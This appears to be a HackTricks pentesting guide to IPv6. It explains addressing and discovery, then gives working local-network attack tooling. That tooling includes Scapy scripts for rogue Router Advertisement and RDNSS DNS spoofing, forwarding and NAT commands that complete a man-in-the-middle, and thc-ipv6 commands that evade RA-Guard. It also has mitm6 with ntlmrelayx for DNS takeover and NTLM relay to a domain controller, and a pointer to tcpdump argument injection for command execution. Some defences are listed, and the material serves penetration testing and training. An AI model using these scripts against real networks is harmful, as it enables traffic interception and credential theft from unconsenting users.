Pentesting IPv6
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
IPv6 Basic theory
Networks
IPv6 addresses are structured to enhance network organization and device interaction. An IPv6 address is divided into:
- Network Prefix: The initial 48 bits, determining the network segment.
- Subnet ID: Following 16 bits, used for defining specific subnets within the network.
- Interface Identifier: The concluding 64 bits, uniquely identifying a device within the subnet.
While IPv6 omits the ARP protocol found in IPv4, it introduces ICMPv6 with two primary messages:
- Neighbor Solicitation (NS): Multicast messages for address resolution.
- Neighbor Advertisement (NA): Unicast responses to NS or spontaneous announcements.
IPv6 also incorporates special address types:
- Loopback Address (
::1): Equivalent to IPv4’s127.0.0.1, for internal communication within the host. - Link-Local Addresses (
FE80::/10): For local network activities, not for internet routing. Devices on the same local network can discover each other using this range.
Practical Usage of IPv6 in Network Commands
To interact with IPv6 networks, you can use various commands:
- Ping Link-Local Addresses: Check the presence of local devices using
ping6. - Neighbor Discovery: Use
ip neighto view devices discovered at the link layer. - alive6: An alternative tool for discovering devices on the same network.
Below are some command examples:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 addresses can be derived from a device’s MAC address for local communication. Here’s a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.
Deriving Link-local IPv6 from MAC Address
Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:
- Convert MAC to IPv6 format:
1234:5678:9abc - Prepend
fe80::and insertfffein the middle:fe80::1234:56ff:fe78:9abc - Invert the seventh bit from the left, changing
1234to1034:fe80::1034:56ff:fe78:9abc
IPv6 Address Types
- Unique Local Address (ULA): For local communications, not meant for public internet routing. Prefix:
FEC00::/7 - Multicast Address: For one-to-many communication. Delivered to all interfaces in the multicast group. Prefix:
FF00::/8 - Anycast Address: For one-to-nearest communication. Sent to the closest interface as per routing protocol. Part of the
2000::/3global unicast range.
Address Prefixes
- fe80::/10: Link-Local addresses (similar to 169.254.x.x)
- fc00::/7: Unique Local-Unicast (similar to private IPv4 ranges like 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Discovering IPv6 Addresses within a Network
Way 1: Using Link-local Addresses
- Obtain the MAC address of a device within the network.
- Derive the Link-local IPv6 address from the MAC address.
Way 2: Using Multicast
- Send a ping to the multicast address
ff02::1to discover IPv6 addresses on the local network.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Several techniques exist for executing MitM attacks in IPv6 networks, such as:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
Identifying IPv6 Addresses in the eild
Exploring Subdomains
A method to find subdomains that are potentially linked to IPv6 addresses involves leveraging search engines. For instance, employing a query pattern like ipv6.* can be effective. Specifically, the following search command can be used in Google:
site:ipv6./
Utilizing DNS Queries
To identify IPv6 addresses, certain DNS record types can be queried:
- AXFR: Requests a complete zone transfer, potentially uncovering a wide range of DNS records.
- AAAA: Directly seeks out IPv6 addresses.
- ANY: A broad query that returns all available DNS records.
Probing with Ping6
After pinpointing IPv6 addresses associated with an organization, the ping6 utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
IPv6 Local Network Attack Techniques
The following sections cover practical layer-2 IPv6 attacks that can be executed inside the same /64 segment without knowing any global prefix. All the packets shown below are link-local and travel only through the local switch, making them extremely stealthy in most environments.
System Tuning for a Stable Lab
Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Because every IPv6 host automatically joins multiple multicast groups (ff02::1, ff02::2, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Result: a full link-local topology (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
Router Advertisement (RA) Spoofing
IPv6 hosts rely on ICMPv6 Router Advertisements for default-gateway discovery. If you inject forged RAs more frequently than the legitimate router, devices will silently switch to you as the gateway.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
To actually forward traffic after winning the race:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Router Advertisement Flags (M/O) & Default Router Preference (Prf)
| Flag | Meaning | Effect on Client Behaviour |
|---|---|---|
| M (Managed Address Configuration) | Signals that stateful addressing via DHCPv6 is available on the segment. | Strong indicator that DHCPv6 spoofing can work. |
| O (Other Configuration) | Signals that hosts should use DHCPv6 for other parameters (DNS, NTP, …). | Address still usually comes from SLAAC, but DNS can be hijacked with DHCPv6. |
| M=0 / O=0 | Pure SLAAC-style network. | DHCPv6 may never appear; focus on rogue RA / RDNSS instead of mitm6. |
| M=1 / O=1 | Mixed environment. | Both DHCPv6 and SLAAC information may coexist; the spoofing surface is the largest. |
During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Look for the flags [M,O] field in the dump – no guessing required.
The Prf (Router Preference) field inside the RA header controls how attractive your rogue router looks when multiple gateways are present:
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | Clients prefer this router over any Medium/Low one |
| Medium (default) | 01 | Used by almost every legitimate device |
| Low | 00 | Chosen only when no better router exists |
When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.
RDNSS (DNS) Spoofing via RA
RFC 8106 allows adding a Recursive DNS Server (RDNSS) option inside a RA. This is the go-to DNS hijack primitive when the segment is SLAAC-only (M=0 / O=0) and clients do not talk to DHCPv6. Client support is implementation-dependent, so validate the target OS in the lab instead of assuming universal RDNSS consumption.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
The same packet can also carry a DNSSL option to poison short-name resolution paths in IPv6-only or dual-stack environments where search domains matter. If you stop the attack cleanly, send a revert RA with the same option and lifetime=0.
RA-Guard Evasion in Practice
RFC 7113 documents why simplistic RA-Guard deployments can be bypassed when they fail to parse the full IPv6 header chain or fail open on fragments. This is not new research, but it is still operationally relevant because many access switches only implement partial filtering.
Recent thc-ipv6 builds expose this directly in the tooling:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Use these only after confirming that a normal forged RA is being filtered. If -H/-D/-F suddenly makes hosts accept your rogue router, you have evidence that the switch is matching only the fixed IPv6 header instead of the real ICMPv6 RA payload.
DHCPv6 DNS Spoofing (mitm6)
When the legitimate RA advertises M and/or O, Windows clients commonly emit DHCPv6 requests for address or ancillary configuration. mitm6 abuses that behavior by replying to DHCPv6 and inserting your link-local IPv6 as DNS with a short lease. This unlocks:
- NTLM relay attacks (WPAD + DNS hijacking)
- Intercepting internal name resolution without touching routers
- Low-noise targeting because you can scope the poisoning to specific hosts or domains
Typical usage:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Useful details from current mitm6 builds:
--no-rakeeps the attack DHCPv6-only when the network detects rogue RAs.-d/--domainand--host-allowlistkeep poisoning tight instead of hijacking every query on the segment.--ignore-nofqdnreduces noise from clients that omit the DHCPv6 FQDN option.
If the segment is pure SLAAC (M=0 / O=0), mitm6 is usually the wrong primitive. Use rogue RAs / RDNSS instead, and keep the higher-level relay logic in the WPAD/relay page.
Defences
- RA Guard / DHCPv6 Guard / ND Inspection on managed switches.
- Port ACLs that allow only the legitimate router’s MAC to send RAs.
- Monitor for unexpected high-rate RAs or sudden RDNSS changes.
- Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
Many consumer routers expose management daemons (HTTP(S), SSH/Telnet, TR-069, etc.) on all interfaces. In some deployments, the “guest/public” SSID is bridged to the WAN/core and is IPv6-only. Even if the router’s IPv6 changes on every boot, you can reliably learn it using NDP/ICMPv6 and then direct-connect to the management plane from the guest SSID.
Typical workflow from a client connected to the guest/public SSID:
- Discover the router via ICMPv6 Router Solicitation to the All-Routers multicast
ff02::2and capture the Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
The RA reveals the router’s link-local and often a global address/prefix. If only a link-local is known, remember that connections must specify the zone index, e.g. ssh -6 admin@[fe80::1%wlan0].
Alternative: use ndisc6 suite if available:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Reach exposed services over IPv6 from the guest SSID:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- If the management shell provides packet-capture tooling via a wrapper (e.g., tcpdump), check for argument/filename injection that allows passing extra tcpdump flags like
-G/-W/-zto achieve post-rotate command execution. See:
Defences/notes:
- Don’t bind management to guest/public bridges; apply IPv6 firewalls on SSID bridges.
- Rate-limit and filter NDP/RS/RA on guest segments where feasible.
- For services that must be reachable, enforce authN/MFA and strong rate-limits.
References
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


